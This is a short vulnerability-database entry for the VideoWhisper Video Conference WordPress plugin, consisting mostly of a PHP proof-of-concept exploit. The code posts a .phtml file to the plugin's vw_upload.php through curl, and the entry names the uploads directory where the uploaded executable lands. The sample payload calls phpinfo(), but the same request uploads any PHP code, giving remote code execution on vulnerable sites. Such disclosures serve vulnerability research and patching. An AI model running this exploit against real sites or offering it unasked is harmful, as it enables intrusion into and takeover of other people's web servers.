The VapidLabs Vulnerability Database

VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool.  Read more on WordPress Video Conference plugin home page.

<?php
 
$uploadfile="upexp.phtml";
$ch = 
curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>
 
upexp.phtml
 
<?php
phpinfo();
?>
The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.